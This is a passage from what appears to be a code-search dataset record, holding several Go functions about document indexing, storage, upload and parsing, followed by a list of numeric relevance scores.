nil || d == nil {\n\t\treturn err\n\t}\n\n\t_, _, err = writeDeepObject(ctx, o)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Write.Printf(\"*** writeDocumentInfoDict end: offset=%d ***\\n\", ctx.Write.Offset)\n\n\treturn nil\n}", "func (w *Writer) SoftUpdateDocument(term *Term, doc *document.Document, softDeletes ...*document.Field) (int64, error) {\n\tupdates, err := w.buildDocValuesUpdate(term, softDeletes)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tvar delNode *Node\n\tif term != nil {\n\t\tdelNode = deleteQueueNewNodeDocValuesUpdates(updates)\n\t}\n\treturn w.updateDocuments(delNode, []*document.Document{doc})\n}", "func (c *Client) Index(d Document, extraArgs url.Values) (*Response, error) {\n\tr := Request{\n\t\tQuery: d.Fields,\n\t\tIndexList: []string{d.Index.(string)},\n\t\tTypeList: []string{d.Type},\n\t\tExtraArgs: extraArgs,\n\t\tMethod: \"POST\",\n\t}\n\n\tif d.ID != nil {\n\t\tr.Method = \"PUT\"\n\t\tr.ID = d.ID.(string)\n\t}\n\n\treturn c.Do(&r)\n}", "func saveDocument(key string, c *gin.Context) *ResponseType {\n\tfilePath := dataDir + \"/\" + key\n\tfi, err := os.Stat(filePath)\n\tif err == nil && fi.Size() > 0 {\n\t\treturn newErrorResp(key, \"file exists\", fmt.Errorf(\"file already exists for key %s\", key))\n\t}\n\tf, err := os.Create(filePath)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file creation error\", fmt.Errorf(\"error creating file for key %s: %s\", key, err.Error()))\n\t}\n\tdefer f.Close()\n\t_, err = io.Copy(f, c.Request.Body)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file write error\", fmt.Errorf(\"error copying body to file for key %s: %s\", key, err.Error()))\n\t}\n\tname := c.Request.FormValue(\"name\")\n\tcontentType := c.Request.Header.Get(\"Content-Type\")\n\textractor := c.Request.FormValue(\"extractor\")\n\ttitle := c.Request.FormValue(\"dc:title\")\n\tcreation := c.Request.FormValue(\"dcterms:created\")\n\tmodification := c.Request.FormValue(\"dcterms:modified\")\n\tmetadata := DocMetadata{\n\t\tTimestamp: time.Now().Unix(),\n\t\tName: name,\n\t\tContentType: contentType,\n\t\tExtractor: extractor,\n\t\tTitle: title,\n\t\tCreationDate: creation,\n\t\tModificationDate: modification,\n\t}\n\terr = saveMetadata(key, &metadata)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file metadata write error\", fmt.Errorf(\"error saving metadata for key %s: %s\", key, err.Error()))\n\t}\n\treturn newSuccessResp(key, \"document saved\")\n}", "func (idiom *Idiom) ExtractIndexableWords() (w []string, wTitle []string, wLead []string) {\n\tw = SplitForIndexing(idiom.Title, true)\n\tw = append(w, fmt.Sprintf(\"%d\", idiom.Id))\n\twTitle = w\n\n\twLead = SplitForIndexing(idiom.LeadParagraph, true)\n\tw = append(w, wLead...)\n\t// ExtraKeywords as not as important as Title, rather as important as Lead\n\twKeywords := SplitForIndexing(idiom.ExtraKeywords, true)\n\twLead = append(wLead, wKeywords...)\n\tw = append(w, wKeywords...)\n\n\tfor i := range idiom.Implementations {\n\t\timpl := &idiom.Implementations[i]\n\t\twImpl := impl.ExtractIndexableWords()\n\t\tw = append(w, wImpl...)\n\t}\n\n\treturn w, wTitle, wLead\n}", "func (ungenerated *Text) generateMarkov() Text {\r\n\tmyMap := map[string][]string{}\r\n\tlines := strings.Split(ungenerated.textdata, \"\\n\")\r\n\tfor _, line := range lines {\r\n\t\twords := strings.Split(line, \" \")\r\n\t\tfor i, word := range words {\r\n\t\t\tif i < (len(words) - 1) {\r\n\t\t\t\tmyMap[word] = append(myMap[word], words[i+1])\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tungenerated.datamap = myMap\r\n\treturn *ungenerated\r\n}", "func (d *dictionary) getIndex(word string) tokenID {\n\tif idx, found := d.indices[word]; found {\n\t\treturn idx\n\t}\n\treturn unknownIndex\n}", "func (m *ProjectIndexer) Index(resource *models.Project, doc solr.Document) solr.Document {\n\tdoc.Set(\"type_ssi\", \"Project\")\n\tdoc.Set(\"title_tesi\", resource.Title)\n\tdoc.Set(\"alternative_title_tesim\", resource.AlternativeTitle)\n\tdoc.Set(\"start_date_ssi\", resource.StartDate)\n\tdoc.Set(\"end_date_ssi\", resource.EndDate)\n\n\treturn doc\n}", "func uploadDocument(c echo.Context) error {\n\n\tclaim, err := securityCheck(c, \"upload\")\n\tif err != nil {\n\t\treturn c.String(http.StatusUnauthorized, \"bye\")\n\t}\n\n\treq := c.Request()\n\t// req.ParseMultipartForm(16 << 20) // Max memory 16 MiB\n\n\tdoc := &DBdoc{}\n\tdoc.ID = 0\n\tdoc.Name = c.FormValue(\"desc\")\n\tdoc.Type = c.FormValue(\"type\")\n\tRev, _ := strconv.Atoi(c.FormValue(\"rev\"))\n\tdoc.RefId, _ = strconv.Atoi(c.FormValue(\"ref_id\"))\n\tdoc.UserId, _ = getClaimedUser(claim)\n\tlog.Println(\"Passed bools\", c.FormValue(\"worker\"), c.FormValue(\"sitemgr\"), c.FormValue(\"contractor\"))\n\tdoc.Worker = (c.FormValue(\"worker\") == \"true\")\n\tdoc.Sitemgr = (c.FormValue(\"sitemgr\") == \"true\")\n\tdoc.Contractor = (c.FormValue(\"contractor\") == \"true\")\n\tdoc.Filesize = 0\n\n\t// make upload dir if not already there, ignore errors\n\tos.Mkdir(\"uploads\", 0666)\n\n\t// Read files\n\t// files := req.MultipartForm.File[\"file\"]\n\tfiles, _ := req.FormFile(\"file\")\n\tpath := \"\"\n\t//log.Println(\"files =\", files)\n\t// for _, f := range files {\n\tf := files\n\tdoc.Filename = f.Filename\n\n\t// Source file\n\tsrc, err := f.Open()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer src.Close()\n\n\t// While filename exists, append a version number to it\n\tdoc.Path = \"uploads/\" + doc.Filename\n\tgotFile := false\n\trevID := 1\n\n\tfor !gotFile {\n\t\tlog.Println(\"Try with path=\", doc.Path)\n\t\tdst, err := os.OpenFile(doc.Path, os.O_EXCL|os.O_RDWR|os.O_CREATE, 0666)\n\t\tif err != nil {\n\t\t\tif os.IsExist(err) {\n\t\t\t\tlog.Println(doc.Path, \"already exists\")\n\t\t\t\tdoc.Path = fmt.Sprintf(\"uploads/%s.%d\", doc.Filename, revID)\n\t\t\t\trevID++\n\t\t\t\tif revID > 999 {\n\t\t\t\t\tlog.Println(\"RevID limit exceeded, terminating\")\n\t\t\t\t\treturn c.String(http.StatusBadRequest, doc.Path)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Println(\"Created file\", doc.Path)\n\t\t\tgotFile = true\n\t\t\tdefer dst.Close()\n\n\t\t\tif doc.Filesize, err = io.Copy(dst, src); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// If we get here, then the file transfer is complete\n\n\t\t\t// If doc does not exist by this filename, create it\n\t\t\t// If doc does exist, create rev, and update header details of doc\n\n\t\t\tif Rev == 0 {\n\t\t\t\t// New doc\n\t\t\t\terr := DB.InsertInto(\"doc\").\n\t\t\t\t\tWhitelist(\"name\", \"filename\", \"path\", \"worker\", \"sitemgr\", \"contractor\", \"type\", \"ref_id\", \"filesize\", \"user_id\").\n\t\t\t\t\tRecord(doc).\n\t\t\t\t\tReturning(\"id\").\n\t\t\t\t\tQueryScalar(&doc.ID)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Inserting Record:\", err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"Inserted new doc with ID\", doc.ID)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Revision to existing doc\n\t\t\t\tdocRev := &DBdocRev{}\n\t\t\t\tdocRev.Path = doc.Path\n\t\t\t\tdocRev.Filename = doc.Filename\n\t\t\t\tdocRev.Filesize = doc.Filesize\n\t\t\t\tdocRev.DocId = doc.ID\n\t\t\t\tdocRev.ID = Rev\n\t\t\t\tdocRev.Descr = doc.Name\n\t\t\t\tdocRev.UserId = doc.UserId\n\n\t\t\t\t_, err := DB.InsertInto(\"doc_rev\").\n\t\t\t\t\tWhitelist(\"doc_id\", \"id\", \"descr\", \"filename\", \"path\", \"filesize\", \"user_id\").\n\t\t\t\t\tRecord(docRev).\n\t\t\t\t\tExec()\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(\"Inserting revision:\", err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tlog.Println(\"Inserted new revision with ID\", docRev.ID)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t} // managed to create the new file\n\t\t// } // loop until we have created a file\n\t} // foreach file being uploaded this batch\n\n\treturn c.String(http.StatusOK, path)\n}", "func indexHandler(s *search.SearchServer, w http.ResponseWriter, r *http.Request) {\n\tparams := r.URL.Query()\n\tcollection := params.Get(\"collection\")\n\n\tif collection == \"\" {\n\t\trespondWithError(w, r, \"Collection query parameter is required\")\n\t\treturn\n\t}\n\n\tif !s.Exists(collection) {\n\t\trespondWithError(w, r, \"Collection does not exist\")\n\t\treturn\n\t}\n\n\tbytes, err := ioutil.ReadAll(r.Body)\n\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error reading body\")\n\t\treturn\n\t}\n\n\tif len(bytes) == 0 {\n\t\trespondWithError(w, r, \"Error document missing\")\n\t\treturn\n\t}\n\n\tvar doc document\n\terr = json.Unmarshal(bytes, &doc)\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error parsing document JSON\")\n\t\treturn\n\t}\n\n\tif len(doc.Id) == 0 {\n\t\trespondWithError(w, r, fmt.Sprintf(\"Error document id is required, not found in: %v\", string(bytes)))\n\t\treturn\n\t}\n\n\tif len(doc.Fields) == 0 {\n\t\trespondWithError(w, r, \"Error document is missing fields\")\n\t\treturn\n\t}\n\n\td := search.NewDocument()\n\td.Id = doc.Id\n\tfor k, v := range doc.Fields {\n\t\td.Fields[k] = &search.Field{Value: v}\n\t}\n\n\ts.Index(collection, d)\n\trespondWithSuccess(w, r, \"Success, document indexed\")\n}", "func NewWordSearch(tree *WordTree) *WordSearch {\n\treturn &WordSearch{\n\t\ttree: tree,\n\t}\n}", "func ParseCWLDocument(existingContext *WorkflowContext, yamlStr string, entrypoint string, inputfilePath string, useObjectID string) (objectArray []NamedCWLObject, schemata []CWLType_Type, context *WorkflowContext, schemas []interface{}, newEntrypoint string, err error) {\n\t//fmt.Printf(\"(Parse_cwl_document) starting\\n\")\n\n\tif useObjectID != \"\" {\n\t\tif !strings.HasPrefix(useObjectID, \"#\") {\n\t\t\terr = fmt.Errorf(\"(NewCWLObject) useObjectID has not # as prefix (%s)\", useObjectID)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif existingContext != nil {\n\t\tcontext = existingContext\n\t} else {\n\t\tcontext = NewWorkflowContext()\n\t\tcontext.Path = inputfilePath\n\t\tcontext.InitBasic()\n\t}\n\n\tgraphPos := strings.Index(yamlStr, \"$graph\")\n\n\t//yamlStr = strings.Replace(yamlStr, \"$namespaces\", \"namespaces\", -1)\n\t//fmt.Println(\"yamlStr:\")\n\t//fmt.Println(yamlStr)\n\n\tif graphPos != -1 {\n\t\t// *** graph file ***\n\t\t//yamlStr = strings.Replace(yamlStr, \"$graph\", \"graph\", -1) // remove dollar sign\n\t\tlogger.Debug(3, \"(Parse_cwl_document) graph document\")\n\t\t//fmt.Printf(\"(Parse_cwl_document) ParseCWLGraphDocument\\n\")\n\t\tobjectArray, schemata, schemas, err = ParseCWLGraphDocument(yamlStr, entrypoint, context)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"(Parse_cwl_document) Parse_cwl_graph_document returned: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t} else {\n\t\tlogger.Debug(3, \"(Parse_cwl_document) simple document\")\n\t\t//fmt.Printf(\"(Parse_cwl_document) ParseCWLSimpleDocument\\n\")\n\n\t\t//useObjectID := \"#\" + inputfilePath\n\n\t\tvar objectID string\n\n\t\tobjectArray, schemata, schemas, objectID, err = ParseCWLSimpleDocument(yamlStr, useObjectID, context)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"(Parse_cwl_document) Parse_cwl_simple_document returned: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t\tnewEntrypoint = objectID\n\t}\n\tif len(objectArray) == 0 {\n\t\terr = fmt.Errorf(\"(Parse_cwl_document) len(objectArray) == 0 (graphPos: %d)\", graphPos)\n\t\treturn\n\t}\n\t//fmt.Printf(\"(Parse_cwl_document) end\\n\")\n\treturn\n}" ]
[ "0.65618867", "0.5774087", "0.5179397", "0.509619", "0.50642025", "0.50336915", "0.5028813", "0.4981031", "0.49766782", "0.4975042", "0.47363344", "0.47275934", "0.47259763", "0.46811298", "0.46737698", "0.4633672", "0.4614339", "0.45814222", "0.45336673", "0.4526141", "0.44993648", "0.44952527", "0.44856003", "0.44618204", "0.44428056", "0.4437074", "0.44359908", "0.44069085", "0.4402705", "0.43579403", "0.43531978", "0.43530053", "0.4351596", "0.43478578", "0.43370143", "0.43189865", "0.4311229", "0.4309088", "0.42713174", "0.42466584", "0.42364532", "0.42354342", "0.42344934", "0.4231791", "0.4223778", "0.42205006", "0.42191634", "0.42058283", "0.41979027", "0.41950873", "0.4193255", "0.41926917", "0.41905087", "0.41904554", "0.4188721", "0.41881156", "0.41876686", "0.41768458", "0.41763318", "0.41750348", "0.4164649", "0.41596147", "0.4154252", "0.41525975", "0.41512308", "0.41335794", "0.41332972", "0.41307473", "0.41306484", "0.41209164", "0.41182494", "0.4111765", "0.41109797", "0.4105425", "0.409986", "0.40955874", "0.40869507", "0.4077204", "0.40767938", "0.4075924", "0.40650588", "0.40643686", "0.4063296", "0.40588385", "0.405707", "0.40555325", "0.40516928", "0.40456465", "0.404266", "0.40397006", "0.4020129", "0.40197414", "0.40190142", "0.40092355", "0.40083832", "0.40051726", "0.40038586", "0.3982807", "0.39799237", "0.3979541" ]
0.84503996
0
createTargetIndexedDocument creates an indexed document without adding the words to the classifier dictionary. This should be used for matching targets, not populating the corpus.
func (c *Classifier) createTargetIndexedDocument(in []byte) *indexedDocument { doc := tokenize(in) return c.generateIndexedDocument(doc, false) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *Classifier) generateIndexedDocument(d *document, addWords bool) *indexedDocument {\n\tid := &indexedDocument{\n\t\tTokens: make([]indexedToken, 0, len(d.Tokens)),\n\t\tdict: c.dict,\n\t}\n\n\tfor _, t := range d.Tokens {\n\t\tvar tokID tokenID\n\t\tif addWords {\n\t\t\ttokID = id.dict.add(t.Text)\n\t\t} else {\n\t\t\ttokID = id.dict.getIndex(t.Text)\n\t\t}\n\n\t\tid.Tokens = append(id.Tokens, indexedToken{\n\t\t\tIndex: t.Index,\n\t\t\tLine: t.Line,\n\t\t\tID: tokID,\n\t\t})\n\n\t}\n\tid.generateFrequencies()\n\tid.runes = diffWordsToRunes(id, 0, id.size())\n\tid.norm = id.normalized()\n\treturn id\n}", "func generateIndex(textsNumber int, wordsNumber int) *Index {\n\ttitles := make([]string, textsNumber)\n\tentries := make(map[string]Set)\n\tfor i := 0; i < textsNumber; i++ {\n\t\ttitles[i] = fmt.Sprintf(\"title-with-number-%d\", i)\n\t}\n\tfor i := 0; i < wordsNumber; i++ {\n\t\tset := Set{}\n\t\tfor j := 0; j < textsNumber; j++ {\n\t\t\tset.Put(j)\n\t\t}\n\t\tentries[fmt.Sprintf(\"w%d\", i)] = set\n\t}\n\treturn &Index{\n\t\tTitles: titles,\n\t\tData: entries,\n\t}\n}", "func newDocumentIndex(opts *iface.CreateDocumentDBOptions) iface.StoreIndex {\n\treturn &documentIndex{\n\t\tindex: map[string][]byte{},\n\t\topts: opts,\n\t}\n}", "func CreateIndex(excludedPaths []string) (Index, error) {\n\tglog.V(1).Infof(\"CreateIndex(%v)\", excludedPaths)\n\n\tmapping := bleve.NewIndexMapping()\n\tif len(excludedPaths) > 0 {\n\t\tcustomMapping := bleve.NewDocumentMapping()\n\t\tfor _, path := range excludedPaths {\n\t\t\tpaths := strings.Split(path, \".\")\n\t\t\tpathToMapping(paths, customMapping)\n\t\t}\n\t\tmapping.DefaultMapping = customMapping\n\t}\n\tindex, err := bleve.NewMemOnly(mapping)\n\n\tif err != nil {\n\t\tglog.Error(err)\n\t\treturn nil, err\n\t}\n\n\tbatch := index.NewBatch()\n\n\treturn &bleveIndex{\n\t\tindex: index,\n\t\taddInc: 0,\n\t\tbatch: batch,\n\t}, nil\n}", "func CreateIndex(context *web.AppContext) *web.AppError {\n\n\tdb := context.MDB\n\tvar input model.Index\n\tjson.NewDecoder(context.Body).Decode(&input)\n\n\terr := db.Session.DB(\"\").C(input.Target).EnsureIndex(input.Index)\n\tif err != nil {\n\t\tmessage := fmt.Sprintf(\"Error creating index [%+v]\", input)\n\t\treturn &web.AppError{err, message, http.StatusInternalServerError}\n\t}\n\n\treturn nil\n}", "func CreateIndex(fromKind string, fromKindFieldName string, toKind string,\n\textractor ForeignKeyExtractor) {\n\n\ti := Indexes[fromKind]\n\tif i == nil {\n\t\ti = make(map[string]string)\n\t\tIndexes[fromKind] = i\n\t}\n\ti[fromKindFieldName] = toKind\n\n\tfkv := ForeignKeyExtractors[fromKind]\n\tif fkv == nil {\n\t\tfkv = make(map[string]ForeignKeyExtractor)\n\t\tForeignKeyExtractors[fromKind] = fkv\n\t}\n\tfkv[fromKindFieldName] = extractor\n}", "func BuildIndex(nGram int, dictionary []string) *NGramIndex {\n\tindex := make(InvertedIndex)\n\n\tfor id, word := range dictionary {\n\t\tfor _, term := range SplitIntoNGrams(nGram, word) {\n\t\t\tif _, ok := index[term]; !ok {\n\t\t\t\tindex[term] = PostingList{}\n\t\t\t}\n\n\t\t\tindex[term] = append(index[term], uint32(id))\n\t\t}\n\t}\n\n\treturn &NGramIndex{\n\t\tnGram: nGram,\n\t\tindex: index,\n\t\tdictionary: dictionary,\n\t}\n}", "func (i *Index) Create() error {\n\n\tdoc := mapping{Properties: map[string]mappingProperty{}}\n\tfor _, f := range i.md.Fields {\n\t\tdoc.Properties[f.Name] = mappingProperty{}\n\t\tfs, err := fieldTypeString(f.Type)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdoc.Properties[f.Name][\"type\"] = fs\n\t}\n\n // Added for apple to apple benchmark\n doc.Properties[\"body\"][\"type\"] = \"text\"\n doc.Properties[\"body\"][\"analyzer\"] = \"my_english_analyzer\"\n doc.Properties[\"body\"][\"search_analyzer\"] = \"whitespace\"\n doc.Properties[\"body\"][\"index_options\"] = \"offsets\"\n //doc.Properties[\"body\"][\"test\"] = \"test\"\n index_map := map[string]int{\n \"number_of_shards\" : 1,\n \"number_of_replicas\" : 0,\n }\n analyzer_map := map[string]interface{}{\n \"my_english_analyzer\": map[string]interface{}{\n \"tokenizer\": \"standard\",\n \"char_filter\": []string{ \"html_strip\" } ,\n \"filter\" : []string{\"english_possessive_stemmer\", \n \"lowercase\", \"english_stop\", \n \"english_stemmer\", \n \"asciifolding\", \"icu_folding\"},\n },\n }\n filter_map := map[string]interface{}{\n \"english_stop\": map[string]interface{}{\n \"type\": \"stop\",\n \"stopwords\": \"_english_\",\n },\n \"english_possessive_stemmer\": map[string]interface{}{\n \"type\": \"stemmer\",\n \"language\": \"possessive_english\",\n },\n \"english_stemmer\" : map[string]interface{}{\n \"type\" : \"stemmer\",\n \"name\" : \"english\",\n },\n \"my_folding\": map[string]interface{}{\n \"type\": \"asciifolding\",\n \"preserve_original\": \"false\",\n },\n }\n analysis_map := map[string]interface{}{\n \"analyzer\": analyzer_map,\n \"filter\" : filter_map,\n }\n settings := map[string]interface{}{\n \"index\": index_map,\n \"analysis\": analysis_map,\n }\n\n // TODO delete?\n\t// we currently manually create the autocomplete mapping\n\t/*ac := mapping{\n\t\tProperties: map[string]mappingProperty{\n\t\t\t\"sugg\": mappingProperty{\n\t\t\t\t\"type\": \"completion\",\n\t\t\t\t\"payloads\": true,\n\t\t\t},\n\t\t},\n\t}*/\n\n\tmappings := map[string]mapping{\n\t\ti.typ: doc,\n //\t\"autocomplete\": ac,\n\t}\n\n fmt.Println(mappings)\n\n\t//_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\"mappings\": mappings}).Do()\n\t_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\"mappings\": mappings, \"settings\": settings}).Do()\n\n if err != nil {\n fmt.Println(\"Error \", err)\n\t\tfmt.Println(\"!!!!Get Error when using client to create index\")\n\t}\n\n\treturn err\n}", "func CreateNewIndex(rawItems PointArray, dim, nTree, k int, m Metric) (Index, error) {\n\t// verify that given items have same dimension\n\tl := rawItems.Len()\n\tif l < 2 {\n\t\treturn nil, errNotEnoughItems\n\t}\n\tits := make([]*item, l)\n\t//idToItem := make(map[itemId]*item, l)\n\tfor i:=0; i < l; i++{\n\t\tv := rawItems.At(i)\n\t\tif v.Dimension() != dim {\n\t\t\treturn nil, errDimensionMismatch\n\t\t}\n\t\tit := &item{\n\t\t\tid: itemId(i),\n\t\t\tvector: v,\n\t\t}\n\t\tits[i] = it\n\t\t//idToItem[it.id] = it\n\t}\n\tidx := &index{\n\t\tmetric: m,\n\t\tdim: dim,\n\t\tk: k,\n\t\titemIDToItem: rawItems,\n\t\troots: make([]*node, nTree),\n\t\tnodeIDToNode: map[nodeId]*node{},\n\t\tmux: &sync.Mutex{},\n\t}\n\n\t// build\n\tidx.build(its, nTree)\n\treturn idx, nil\n}", "func NewIndex(root string) *Index {\n\tvar x Indexer;\n\n\t// initialize Indexer\n\tx.words = make(map[string]*IndexResult);\n\n\t// collect all Spots\n\tpathutil.Walk(root, &x, nil);\n\n\t// for each word, reduce the RunLists into a LookupResult;\n\t// also collect the word with its canonical spelling in a\n\t// word list for later computation of alternative spellings\n\twords := make(map[string]*LookupResult);\n\tvar wlist RunList;\n\tfor w, h := range x.words {\n\t\tdecls := reduce(&h.Decls);\n\t\tothers := reduce(&h.Others);\n\t\twords[w] = &LookupResult{\n\t\t\tDecls: decls,\n\t\t\tOthers: others,\n\t\t};\n\t\twlist.Push(&wordPair{canonical(w), w});\n\t}\n\n\t// reduce the word list {canonical(w), w} into\n\t// a list of AltWords runs {canonical(w), {w}}\n\talist := wlist.reduce(lessWordPair, newAltWords);\n\n\t// convert alist into a map of alternative spellings\n\talts := make(map[string]*AltWords);\n\tfor i := 0; i < alist.Len(); i++ {\n\t\ta := alist.At(i).(*AltWords);\n\t\talts[a.Canon] = a;\n\t}\n\n\t// convert snippet vector into a list\n\tsnippets := make([]*Snippet, x.snippets.Len());\n\tfor i := 0; i < x.snippets.Len(); i++ {\n\t\tsnippets[i] = x.snippets.At(i).(*Snippet)\n\t}\n\n\treturn &Index{words, alts, snippets, x.nspots};\n}", "func CreateInvertedIndex() *InvertedIndex {\n\tinvertedIndex := &InvertedIndex{\n\t\tHashMap: make(map[uint64]*InvertedIndexEntry),\n\t\tItems: []*InvertedIndexEntry{},\n\t}\n\treturn invertedIndex\n}", "func GenNaiveSearchIndex(item models.Item) string {\n\twords := make(map[string]struct{})\n\n\t// Extract name.\n\tfor _, v := range extractWords(item.Name) {\n\t\twords[v] = struct{}{}\n\t}\n\n\t// Extract type of item.\n\tfor _, v := range extractWords(item.Type) {\n\t\twords[v] = struct{}{}\n\t}\n\n\t// Extract properties.\n\tfor _, mod := range item.ExplicitMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.ImplicitMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.UtilityMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.EnchantMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.CraftedMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\n\t// Construct final string with sorted keywords.\n\tkeys := make([]string, 0, len(words))\n\tfor key := range words {\n\t\tkeys = append(keys, key)\n\t}\n\tsort.Strings(keys)\n\treturn strings.Join(keys, \" \")\n}", "func New(docs []string) *Index {\n\tm := make(map[string]map[int]bool)\n\n\tfor i := 0; i < len(docs); i++ {\n\t\twords := strings.Fields(docs[i])\n\t\tfor j := 0; j < len(words); j++ {\n\t\t\tif m[words[j]] == nil {\n\t\t\t\tm[words[j]] = make(map[int]bool)\n\t\t\t}\n\t\t\tm[words[j]][i+1] = true\n\t\t}\n\t}\n\treturn &(Index{m})\n}", "func GenerateInvertedIndex(fpMaps []map[uint64]int) InvertedIndex {\n\n\t// Create an empty inverted index\n\tinvertedIndex := CreateInvertedIndex()\n\n\t// Using the generated hash maps add\n\t// each word to the inverted index\n\tfor index, fpMap := range fpMaps {\n\t\tfor fp := range fpMap {\n\t\t\tinvertedIndex.AddItem(fp, index)\n\t\t}\n\t}\n\treturn *invertedIndex\n}", "func CopyToTargetIndex(targetIndex string) ReindexerFunc {\n\treturn func(hit *SearchHit, bulkService *BulkService) error {\n\t\t// TODO(oe) Do we need to deserialize here?\n\t\tsource := make(map[string]interface{})\n\t\tif err := json.Unmarshal(*hit.Source, &source); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treq := NewBulkIndexRequest().Index(targetIndex).Type(hit.Type).Id(hit.Id).Doc(source)\n\t\tif hit.Parent != \"\" {\n\t\t\treq = req.Parent(hit.Parent)\n\t\t}\n\t\tif hit.Routing != \"\" {\n\t\t\treq = req.Routing(hit.Routing)\n\t\t}\n\t\tbulkService.Add(req)\n\t\treturn nil\n\t}\n}", "func NewIndexed() *Indexed {\n\trand.Seed(time.Now().UTC().UnixNano())\n\treturn &Indexed{\n\t\tsize: 0,\n\t}\n}", "func (c *index) Create(sctx sessionctx.Context, rm kv.RetrieverMutator, indexedValues []types.Datum, h int64, opts ...table.CreateIdxOptFunc) (int64, error) {\n\tvar opt table.CreateIdxOpt\n\tfor _, fn := range opts {\n\t\tfn(&opt)\n\t}\n\tss := opt.AssertionProto\n\twriteBufs := sctx.GetSessionVars().GetWriteStmtBufs()\n\tskipCheck := sctx.GetSessionVars().LightningMode || sctx.GetSessionVars().StmtCtx.BatchCheck\n\tkey, distinct, err := c.GenIndexKey(sctx.GetSessionVars().StmtCtx, indexedValues, h, writeBufs.IndexKeyBuf)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tctx := opt.Ctx\n\tif opt.Untouched {\n\t\ttxn, err1 := sctx.Txn(true)\n\t\tif err1 != nil {\n\t\t\treturn 0, err1\n\t\t}\n\t\t// If the index kv was untouched(unchanged), and the key/value already exists in mem-buffer,\n\t\t// should not overwrite the key with un-commit flag.\n\t\t// So if the key exists, just do nothing and return.\n\t\t_, err = txn.GetMemBuffer().Get(ctx, key)\n\t\tif err == nil {\n\t\t\treturn 0, nil\n\t\t}\n\t}\n\n\t// save the key buffer to reuse.\n\twriteBufs.IndexKeyBuf = key\n\tif !distinct {\n\t\t// non-unique index doesn't need store value, write a '0' to reduce space\n\t\tvalue := []byte{'0'}\n\t\tif opt.Untouched {\n\t\t\tvalue[0] = kv.UnCommitIndexKVFlag\n\t\t}\n\t\terr = rm.Set(key, value)\n\t\tif ss != nil {\n\t\t\tss.SetAssertion(key, kv.None)\n\t\t}\n\t\treturn 0, err\n\t}\n\n\tif skipCheck {\n\t\tvalue := EncodeHandle(h)\n\t\tif opt.Untouched {\n\t\t\tvalue = append(value, kv.UnCommitIndexKVFlag)\n\t\t}\n\t\terr = rm.Set(key, value)\n\t\tif ss != nil {\n\t\t\tss.SetAssertion(key, kv.None)\n\t\t}\n\t\treturn 0, err\n\t}\n\n\tif ctx != nil {\n\t\tif span := opentracing.SpanFromContext(ctx); span != nil && span.Tracer() != nil {\n\t\t\tspan1 := span.Tracer().StartSpan(\"index.Create\", opentracing.ChildOf(span.Context()))\n\t\t\tdefer span1.Finish()\n\t\t\tctx = opentracing.ContextWithSpan(ctx, span1)\n\t\t}\n\t} else {\n\t\tctx = context.TODO()\n\t}\n\n\tvar value []byte\n\tvalue, err = rm.Get(ctx, key)\n\t// If (opt.Untouched && err == nil) is true, means the key is exists and exists in TiKV, not in txn mem-buffer,\n\t// then should also write the untouched index key/value to mem-buffer to make sure the data\n\t// is consistent with the index in txn mem-buffer.\n\tif kv.IsErrNotFound(err) || (opt.Untouched && err == nil) {\n\t\tv := EncodeHandle(h)\n\t\tif opt.Untouched {\n\t\t\tv = append(v, kv.UnCommitIndexKVFlag)\n\t\t}\n\t\terr = rm.Set(key, v)\n\t\tif ss != nil {\n\t\t\tss.SetAssertion(key, kv.NotExist)\n\t\t}\n\t\treturn 0, err\n\t}\n\n\thandle, err := DecodeHandle(value)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn handle, kv.ErrKeyExists\n}", "func NewAutoincrementIndex(o ...option.Option) index.Index {\n\topts := &option.Options{}\n\tfor _, opt := range o {\n\t\topt(opts)\n\t}\n\n\tu := &Autoincrement{\n\t\tindexBy: opts.IndexBy,\n\t\ttypeName: opts.TypeName,\n\t\tfilesDir: opts.FilesDir,\n\t\tbound: opts.Bound,\n\t\tindexBaseDir: path.Join(opts.DataDir, \"index.cs3\"),\n\t\tindexRootDir: path.Join(path.Join(opts.DataDir, \"index.cs3\"), strings.Join([]string{\"autoincrement\", opts.TypeName, opts.IndexBy}, \".\")),\n\t\tcs3conf: &Config{\n\t\t\tProviderAddr: opts.ProviderAddr,\n\t\t\tDataURL: 